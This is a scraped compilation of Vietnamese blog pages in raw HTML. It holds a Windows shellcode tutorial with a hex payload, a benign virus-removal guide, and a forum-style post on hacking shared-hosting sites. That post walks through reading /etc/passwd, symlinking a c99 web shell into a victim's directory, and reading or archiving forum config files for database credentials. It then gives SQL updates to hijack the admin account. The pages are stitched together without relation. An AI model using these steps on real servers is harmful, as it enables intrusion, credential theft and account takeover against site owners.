Windows API là thư viện các hàm cho phép phát triển các ứng dụng khác nhau trên nền hệ điều hành của Microsoft. Shellcode cũng coi như là một ứng dụng trên nền Windows, do đó nó cũng có thể được viết thông qua các hàm API. Khác với viết Shellcode bằng SysCall, Shellcode viết bằng hàm API có khả năng rất đa dạng, đặc biệt nó có thể làm việc với các hàm socket API.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Với ưu điểm trên, hầu hết các Shellcode được sử dụng cho các cuộc tấn công ngày nay đều được viết bằng các hàm API và thực hiên các nhiệm vụ như <em style="box-sizing: border-box;">connect back</em>,<em style="box-sizing: border-box;">download</em>, <em style="box-sizing: border-box;">send mail</em>, <em style="box-sizing: border-box;">cài đặt trojan</em> … Tuy nhiên, cũng giống như SysCall, địa chỉ của các hàm API bị thay đổi cho mỗi phiên bản khác nhau của Windows nên một Shellcode có địa chỉ API cố định sẽ chỉ có thể thực thi ở đúng phiên bản Windows. Trước tiên, chúng ta sẽ viết một đoạn Shellcode đơn giản, chỉ sử dụng địa chỉ cố định của hàm API.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Công cụ sử dụng :</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;"><em style="box-sizing: border-box;">Depends (Công cụ trong bộ VS6.0).</em></li>
<li style="box-sizing: border-box;"><em style="box-sizing: border-box;">Text Editor (EditPlus, NotePad…)</em></li>
<li style="box-sizing: border-box;"><em style="box-sizing: border-box;">NASM&MakeShell</em></li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trước tiên, ta biết các ứng dụng khi thực thi đều phải nạp thư viện Kernel32.dll vào không gian bộ nhớ. Do đó, Shellcode đầu tiên này sẽ sử dụng 2 hàm API trong Kernel32.dll với nhiệm vụ gọi “notepad” bắt hàm “<em style="box-sizing: border-box;">Winexec()</em>”, sau đó kết thúc chương trình bằng hàm “<em style="box-sizing: border-box;">ExitProcess()</em>”.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Sử dụng Depends để xác định địa chỉ hàm “<em style="box-sizing: border-box;">Winexec()</em>” cho Windows XP SP2 ta nhận được địa chỉ cơ sở của Kernel32.dll (0x7C800000) và địa chỉ tương đối của hàm (0x6114D). Như vậy, địa chỉ tuyệt đối Shellcode sử dụng là <em style="box-sizing: border-box;">0x7C86114D</em>. Tương tự như vậy ta có địa chỉ hàm “<em style="box-sizing: border-box;">ExitProcess()</em>” là <em style="box-sizing: border-box;">0x7C81CAA2</em>.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
 <a href="http://securitydaily.net/wp-content/uploads/2014/10/ShellCode2.jpg" rel="lightbox[gallery-nFIm]" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;"><img alt="Bui Quang Minh: Windows shellcode và ứng dụng khai thác lỗi tràn bộ đệm" class="alignnone wp-image-7747 size-full" height="350" src="http://securitydaily.net/wp-content/uploads/2014/10/ShellCode2.jpg" style="border: 0px; box-sizing: border-box; vertical-align: middle;" width="576" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<em style="box-sizing: border-box;">Hình 2 : Sử dụng Depends xác định địa chỉ hàm</em> <a href="http://securitydaily.net/wp-content/uploads/2014/10/MaViDu.png" rel="lightbox[gallery-nFIm]" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;"><img alt="MaViDu" class="alignnone wp-image-7748 size-large" height="257" src="http://securitydaily.net/wp-content/uploads/2014/10/MaViDu-700x257.png" style="border: 0px; box-sizing: border-box; vertical-align: middle;" width="700" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biên dịch đoạn asm sau ra file nhị phân rồi chuyển sang Shellcode :</div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px;">
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; margin-bottom: 10px; text-align: justify;">
<em style="box-sizing: border-box;">nasmw.exe -s -fbin file.asm</em></div>
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; text-align: justify;">
<em style="box-sizing: border-box;">makeshell.exe file</em></div>
</blockquote>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Kết quả là đoạn Shellcode có thể thực hiện trên Windows XP SP2:</div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px;">
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">\xBB\x4D\x11\x86\x7C\xE9\x0E\x00\x00\x00\x58\x68\x05\x00\x00\x00\x50\xFF\xD3\xE9\x0D\x00\x00\x00\xE8\xED\xFF\xFF\xFF\x6E\x6F\x74\x65\x70\x61\x64\x00\x68\x01\x00\x00\x00\xBB\xA2\xCA\x81\x7C\xFF\xD3</strong></div>
</blockquote>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Như vậy, ta đã có được đoạn Shellcode thực hiện một nhiệm vụ nhỏ. Tuy nhiên, vì chỉ sử dụng các hàm trong Kernel32.dll nên khả năng của Shellcode rất hạn chế vì thế ta cần phải nạp thêm các thư viện.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trong bài viết tới tôi sẽ tiếp tục với việc “<strong style="box-sizing: border-box; color: black;">Lấy địa chỉ hàm trong Shellcode</strong>” và “<strong style="box-sizing: border-box; color: black;">Mã hóa shellcode</strong>“.</div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px;">
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; text-align: justify;">
#LƯU Ý: Các ví dụ trên đều được thực hiện trên Windows XP.</div>
</blockquote>
<div style="text-align: right;">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><i><a href="http://securitydaily.net/" target="_blank">SecurityDaily.Net </a></i></span></div>
</div>

Windows shellcode và ứng dụng khai thác lỗi tràn bộ đệm

Hôm nay tôi xin chia sẻ tới các bạn loạt các bài viết về chủ đề “Windows shellcode và ứng dụng khai thác lỗi tràn bộ đệm”. Những bài viết ...

Làm gì để phòng ngừa và ngăn chặn virus trên Windows?

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="line-height: inherit;">Dù muốn hay không thì bạn vẫn 
phải trang bị cho mình những kiến thức cơ bản cho việc phòng ngừa và 
ngăn chặn mối hiểm họa từ virus trên Windows. Nếu Windows bị nhiễm, hiệu
 suất hoạt động có thể giảm và các ứng dụng phần mềm hoặc tài liệu quan 
trọng có thể bị hủy hoại bởi virus.</span></span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><div class="VCSortableInPreviewMode" style="box-sizing: border-box; display: inline-block; text-align: center; width: 406px;" type="Photo">
<div>
<span style="font-family: "Trebuchet MS",sans-serif;"><img alt="Làm gì để phòng ngừa và ngăn chặn virus trên Windows?" id="img_93445" rel="http://genknews.vcmedia.vn/2014/1-99f4a.jpg" src="http://genknews.vcmedia.vn/thumb_w/640/2014/1-99f4a.jpg" style="max-width: 640px;" title="" type="photo" /></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Do đó không quá trễ để bạn có thể thiết lập một sự bảo vệ cho Windows
 bằng những trình antivirus mạnh mẽ hoặc chú ý hơn trong việc lướt web 
và tải dữ liệu từ Internet. Tuy nhiên, nếu nghi ngờ máy tính Windows
 của mình đã bị nhiễm virus, bạn hãy tiến hành các bước kiểm tra, khắc 
phục và tăng cường bảo mật cho Windows bằng những gợi ý sau đây.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><h4 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><strong>Sử dụng tính năng System Restore</strong></span></h4>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">System Restore là tính năng khá hữu ích trên Windows giúp người dùng 
nhanh chóng khôi phục lại Windows ở các móc thời gian trước. Cách làm 
này giúp bạn dễ dàng quay về thời điểm mà Windows hoạt động ổn định 
trước đó, bạn tiến hành thực hiện bằng cách truy cập vào Control Panel 
> Recovery > Open System Restore, khi đó hộp thoại System Restore 
sẽ xuất hiện.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><div class="VCSortableInPreviewMode" style="box-sizing: border-box; display: inline-block; text-align: center; width: 406px;" type="Photo">
<div>
<span style="font-family: "Trebuchet MS",sans-serif;"><img alt="Làm gì để phòng ngừa và ngăn chặn virus trên Windows?" id="img_93446" rel="http://genknews.vcmedia.vn/2014/2-99f4a.jpg" src="http://genknews.vcmedia.vn/2014/2-99f4a.jpg" style="max-width: 640px;" title="" type="photo" /></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Bạn hãy tiến hành chọn thời điểm sao lưu trước đó và nhấn và làm theo
 các bước được hướng dẫn để khôi phục lại hệ thống từ mốc thời gian được
 chọn.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><h4 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><strong>Ngăn chặn hoạt động của virus</strong></span></h4>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Nếu đã tiến hành khôi phục lại Windows bằng tính năng System Restore 
mà vẫn không “ăn thua”, lúc này bạn hãy tiến hành ngăn chặn hoạt động 
của virus bằng công cụ <a draggable="false" href="http://www.bleepingcomputer.com/download/rkill/" rel="nofollow" target="_blank" title="Rkill">Rkill</a>,
 một công cụ miễn phí nhỏ được phát hành bởi Bleeping Computer. Công cụ 
này có chức năng quét và tiến hành ngăn chặn hoạt động của virus, và bạn
 chỉ việc tải về, kích hoạt và chạy nó mà không cần tùy chỉnh gì cả.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><div class="VCSortableInPreviewMode" style="box-sizing: border-box; display: inline-block; text-align: center; width: 406px;" type="Photo">
<div>
<span style="font-family: "Trebuchet MS",sans-serif;"><img alt="Làm gì để phòng ngừa và ngăn chặn virus trên Windows?" id="img_93447" rel="http://genknews.vcmedia.vn/2014/3-99f4a.jpg" src="http://genknews.vcmedia.vn/thumb_w/640/2014/3-99f4a.jpg" style="cursor: none; max-width: 640px;" title="" type="photo" /></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Một số virus có cơ chế tránh bị Rkill phát hiện nên đôi khi bạn nên 
đổi tên Rkill thành “iexplore” để đánh lừa virus, khiến cho nó nghĩ rằng
 bạn đang chạy trình duyệt Internet Explorer thay vì RKill.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><h4 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><strong>Tiêu diệt virus</strong></span></h4>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Khi virus đã bị ngăn chặn hoạt động bằng Rkill, bạn hãy tiến hành tải về công cụ <a draggable="false" href="http://media.kaspersky.com/utilities/VirusUtilities/EN/tdsskiller.exe" target="_blank" title="TDSSKiller">TDSSKiller</a>, <a class="VCCTagItemInNews" data-id="9058" data-zoneid="0" draggable="false" href="http://genk.vn/ung-dung-mien-phi.htm" target="_blank" title="ứng dụng miễn phí">ứng dụng miễn phí</a> được phát hành bởi Kaspersky để tiến hành quét và tiêu diệt virus một cách triệt để.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><div class="VCSortableInPreviewMode" style="box-sizing: border-box; display: inline-block; text-align: center; width: 406px;" type="Photo">
<div>
<span style="font-family: "Trebuchet MS",sans-serif;"><img alt="Làm gì để phòng ngừa và ngăn chặn virus trên Windows?" id="img_93448" rel="http://genknews.vcmedia.vn/2014/4-99f4a.png" src="http://genknews.vcmedia.vn/2014/4-99f4a.png" style="max-width: 640px;" title="" type="photo" /></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Sau khi tải về, bạn khởi động TDSSKiller từ tập tin EXE mà không cần cài đặt và bắt đầu quá trình quét và tiêu diệt virus.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><h4 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><strong>Tiêu diệt “tàn dư”</strong></span></h4>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Sau khi quét và diệt xong virus bằng TDSSKiller, bạn hãy tiến hành 
khởi động Rkill để kiểm tra một lần nữa. Tiếp theo tải và khởi động công
 cụ <a draggable="false" href="http://www.freedrweb.com/cureit/?lng=en" rel="nofollow" target="_blank" title="Dr. Web CureIt!">Dr. Web CureIt!</a> để tiến hành công việc quét các phần mềm độc hại, trojan và các phần mềm gián điệp còn sót lại của virus.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><div class="VCSortableInPreviewMode" style="box-sizing: border-box; display: inline-block; text-align: center; width: 406px;" type="Photo">
<div>
<span style="font-family: "Trebuchet MS",sans-serif;"><img alt="Làm gì để phòng ngừa và ngăn chặn virus trên Windows?" id="img_93449" rel="http://genknews.vcmedia.vn/2014/5-99f4a.png" src="http://genknews.vcmedia.vn/thumb_w/640/2014/5-99f4a.png" style="max-width: 640px;" title="" type="photo" /></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Khi đã hoàn thành các công việc trên, máy tính của bạn bây giờ đã hoàn toàn sạch bóng virus.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><h4 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><strong>Phòng ngừa</strong></span></h4>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Khi đã chắc chắn Windows của mình đã hoàn toàn sạch bóng virus, để đề
 phòng vấn đề có thể quay lại bạn nên tiến hành phòng tránh bằng cách 
cài đặt một trình antivirus chuyên nghiệp và đảm bảo, nếu không có nhu 
cầu cài đặt những trình antivirus đắt tiền, bạn có thể sử dụng kết hợp 
các công cụ bảo vệ miễn phí lại với nhau như <a draggable="false" href="http://www.avast.com/index" rel="nofollow" target="_blank" title="Avast Free Antivirus">Avast Free Antivirus</a> hay <a draggable="false" href="http://free.avg.com/ww-en/homepage" rel="nofollow" target="_blank" title="AVG Free Antivirus">AVG Free Antivirus</a> cùng <a draggable="false" href="https://toolslib.net/downloads/viewdownload/1-adwcleaner/" rel="nofollow" target="_blank" title="AdwCleaner">AdwCleaner</a> để loại bỏ phần mềm quảng cáo khỏi hệ thống cùng <a draggable="false" href="https://www.malwarebytes.org/" rel="nofollow" target="_blank" title="Malwarebytes">Malwarebytes</a> sẽ giúp tìm kiếm kỹ các phần mềm độc hại hơn mà bạn nghi ngờ chúng vẫn còn nằm trong Windows.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><div class="VCSortableInPreviewMode" style="box-sizing: border-box; display: inline-block; text-align: center; width: 406px;" type="Photo">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSXrEYQcmHVkxStg-qiQDfb1m19re8UwdxyhPGo-0zbhv0ZqOF4U1nbtzbpKN-VU-GZUGGPW5Abt1cK6i5kbza1Ymp86DcV2pGvOyqDXXZcD-s0VOs1HwpgwYTNittANNUZ2FqGs1EKJ-r/s1600/6-99f4a.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Cach phong ngua va ngan chan virus" border="0" height="496" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSXrEYQcmHVkxStg-qiQDfb1m19re8UwdxyhPGo-0zbhv0ZqOF4U1nbtzbpKN-VU-GZUGGPW5Abt1cK6i5kbza1Ymp86DcV2pGvOyqDXXZcD-s0VOs1HwpgwYTNittANNUZ2FqGs1EKJ-r/s1600/6-99f4a.png" title="Cach phong ngua va ngan chan virus" width="640" /></a></div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;"><br /></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Tiếp theo bạn nên cài đặt thêm một trình tường lửa cho Windows để tránh các cuộc <a class="VCCTagItemInNews" data-id="963" data-zoneid="0" draggable="false" href="http://genk.vn/tan-cong-mang.htm" target="_blank" title="tấn công mạng">tấn công mạng</a> như <a draggable="false" href="http://www.comodo.com/home/internet-security/firewall.php" rel="nofollow" target="_blank" title="Comodo Firewall">Comodo Firewall</a> chẳn hạn.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><div class="VCSortableInPreviewMode" style="box-sizing: border-box; display: inline-block; text-align: center; width: 406px;" type="Photo">
<div>
<span style="font-family: "Trebuchet MS",sans-serif;"><img alt="Làm gì để phòng ngừa và ngăn chặn virus trên Windows?" id="img_93451" rel="http://genknews.vcmedia.vn/2014/7-99f4a.jpg" src="http://genknews.vcmedia.vn/thumb_w/640/2014/7-99f4a.jpg" style="cursor: none; max-width: 640px;" title="" type="photo" /></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Cuối cùng, bạn nên tiến hành sao lưu lại Windows bằng tính năng System Restore hay sao lưu “trọn gói” với <a draggable="false" href="http://genk.vn/thu-thuat/onekey-ghost-tao-va-bung-ghost-cho-may-tinh-bang-1-cu-nhap-chuot-20131205165613496.chn" target="_blank" title="OneKey Ghost">OneKey Ghost</a> mà Genk đã hướng dẫn trước đó.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">

</span><span style="font-family: "Trebuchet MS",sans-serif;">Hi vọng bạn sẽ thích bài viết này.</span></div>

Làm gì để phòng ngừa và ngăn chặn virus trên Windows?

Dù muốn hay không thì bạn vẫn phải trang bị cho mình những kiến thức cơ bản cho việc phòng ngừa và ngăn chặn mối hiểm họa từ virus trên W...

Các Câu Lệnh Sử dụng Shell và cách khắc phục sự cố không local được

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Trebuchet MS",sans-serif;">1 cài câu lệnh phổ biến cho ae NB, và dể hiễu</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code>cat /etc/passwd : liệt kê các user có trên server </code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><code><code><span style="color: blue;">dir /home/user/public_html/ : đi đến public_html của user</span> </code></code></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><code><code><span style="color: blue;">ln -s /home/user/public_html/index.php hehe.txt : ghi file index.php vào file hehe.txt trên thư mục </span></code></code></span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><code><code><span style="color: blue;">mình đang dùng : ví dụ đang dùng</span> <span style="color: #ff6600;"><a href="http://abc.com/c99.php%C2%A0th%C3%AC%C2%A0v%C3%A0o%C2%A0http://abc.com/hehe.txt" rel="nofollow">http://abc.com/c99.php thì vào http://abc.com/hehe.txt</a></span> </code></code></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">Vậy muốn ghi con shell của mình vào host người khác thì làm sao ??</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code>ln -s /home/user_của_mình/public_html/c99.php /home/user_của_victim/public_html/c99.php lựa chọn thư mục chmod 777 hay 755 mà có quyền ghi nhé </code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">_Nếu bị chmod ko cho ghi thì sao ??<br />
=>Thì dir qua web nó rồi run command típ<br />
_Nếu wa web nó ko run đc thì sao ?<br />
=>thì xem web nó có forum hay cái gì đó ko mình úp shell thông qua lỗi ảnh hoặc úp wa forum<br />
-vậy phải làm sao để xem đc file config để vào được database ?</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code>cat /home/user/public_html/forum/includes/config.php >> xem file config.php </code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">_Nếu ko xem được thì sao ??,diss các hàm và éo có symljnk ??<br />
=> thì download website nó về mà ngâm cứu config</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code>tar -czf hehehe.tar.gz /home/user/public_html/forum/ </code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">>> download nguyên cái forum<br />
ko thì download cái config nó thôi.</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code>tar -czf config.tar.gz /home/user/public_html/forum/includes/config.php </code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">_Nếu lệnh zip ko được nữa thì sao ,config mã hóa thì sao<br />
thì xem cách mã hóa<br />
hiện tại có 2 cái dezend và base64_decode ,xem google thì bít<br />
nếu zip ko đc chắc bó tay quá >> đỗi cách khác (nói lăng nhăng quá mình bỏ wa bước này )<br />
Vậy nếu có user+pass+data mà đăng nhập ko được ,đăng nhập đc mà ko zip đc thì làm sào sữa đc mà vào admin úp shell trên forum ??<br />
=>Con shell mình đang dùng ko phải là root nên rất hạn chế<br />
1 vài lệnh cải thiện :</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><code><code><span style="color: blue;">chmod a+wxr file.php -rwxrwxrwx chmod a+drw file.php -rwxrwxrwx chmod -R a+rx thumuc </span></code></code></span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><code><code><span style="color: blue;">>> giao quyen doc va vao ben trong thu muc,ke ca thu muc con</span> </code></code></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">chmod -R a+rw thumuc >> giao quyen doc va ghi…<br />
chmod -R a+rwx thumuc >> quyen root<br />
mkdir backup >> tạo thư mục backup<br />
chmod 777 backup >> chmod nó thành 777 để mình zip data.zip lên<br />
_Nếu ko chmod 777 được thì làm sao ?<br />
=> tạo con chmod.php nội dung như sau:<br />
Quote:</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code><?php chmod(<span style="color: red;">"backup"</span>, 0777); ?></code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">úp lên rồi run</span>
<span style="font-family: "Trebuchet MS",sans-serif;"><a href="http://abc.com/chmod.php" target="_blank">http://abc.com/chmod.php</a></span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">sau đó úp con dumper.php lên rồi điền info vào zip ,zip xong có thể 
về localhost chỉnh sữa rồi úp lên => backup thế là mình đã quản lí</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">-Cách này lằng nhằng quá ,data nó cả trăm M thì phiền ?</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">vậy thì dùng con c99.php ,vào chổ nào có user mà chỉnh sữa<br />
ví dụ nó có bảng user bao gồm id và email ,….thì run command trên SQL của data là</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code>update user set email=<span style="color: red;">"hehehe@yahoo.com"</span> where id=1 </code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">nếu user admin nó có id là 1,đã thay thế = <a href="mailto:hehehe@yahoo.com">hehehe@yahoo.com</a><br />
>> sau đó chơi quên mật khẩu gửi user+pass về email <a href="mailto:hehehe@yahoo.com">hehehe@yahoo.com</a></span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">hoặc<br />
Quote:</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code>update user set id =<span style="color: red;">'6'</span>where user=<span style="color: red;">'hehehe'</span> </code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">>> set user hehehe lên thẳng admin (vào reg nick hehehe trước nhá)<br />
hoặc<br />
Quote:</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><div>
<div>
<span style="font-family: "Trebuchet MS",sans-serif;">PHP Code:</span></div>
<div dir="ltr">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><code><code>update user set passwd =<span style="color: red;">"e10adc3949ba59abbe56e057f20f883e"</span> where id=1 </code></code></span></span></div>
</div>
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">>> e10adc3949ba59abbe56e057f20f883e = 123456 >> vào mà đăng nhập user=admin_của_nó ;pass =123456</span><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
</span><span style="font-family: "Trebuchet MS",sans-serif;">mấy bước làm sao thì ae kím clip xem sẽ hiễu<br />
>> up qua style hoặc plugin gì gì đó là đc thôi<br />
Chơi thôi đừng quá hoại gì!</span></div>

Các Câu Lệnh Sử dụng Shell và cách khắc phục sự cố không local được

1 cài câu lệnh phổ biến cho ae NB, và dể hiễu PHP Code: cat /etc/passwd : liệt kê các user có trên server PHP Code: dir /home...

[Cảnh báo] Lỗ hổng 0day trong CopySafe Web Protection WordPress plugin

